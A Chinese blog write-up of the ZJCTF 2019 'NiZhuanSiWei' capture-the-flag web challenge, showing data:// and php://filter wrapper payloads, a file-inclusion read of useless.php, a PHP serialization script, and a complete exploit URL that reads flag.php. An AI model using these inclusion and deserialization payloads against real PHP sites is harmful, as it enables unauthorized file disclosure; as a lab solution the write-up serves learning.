PHP伪协议用法之[ZJCTF 2019]NiZhuanSiWei1

php伪协议知识点总结:php伪协议 - single-dog - 博客园

使用data伪协议绕过圆括号、反引号被过滤_梦梦梦·的博客-CSDN博客_data伪协议

首先是代码审计;

传入三个参数。text文本,file文件,password;

第一关是,text传入文本形式可以使用PHP伪协议中的data协议:data://text/plain,<文本>

构造:

text=data://text/plain,welcome to the zjctf

说明text传参正确;第二关对file进行绕过;file里面不能含有/flag/字样;然后提示说有useless.php;如果直接file=useless.php是没有结果的,看到include<file>想到文件包含漏洞,然后就会想到用filter伪协议进行读取内容;那么使用伪协议php://filter 构造:

file=php://filter/read=convert.base64-encode/resource=useless.php

base64编码解码

 

 将flag调用,然后给里面file值赋值为flag.php。就可输出flag.php里面的内容;
当然还要序列化后传入password

对password序列化就要写代码:


<?php

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password = new Flag();
echo urlencode(serialize($password));
?>

输出结果:这里使用了 URL编码,可以直接使用;不编码是这样的:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

反序列漏洞这里有个考点,关于wake_up()函数,将参数加大就可以绕过;

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

然后构造完整的payload:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

这里有个细节,完整的payload里面的file不需要再用php://filter协议了;

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值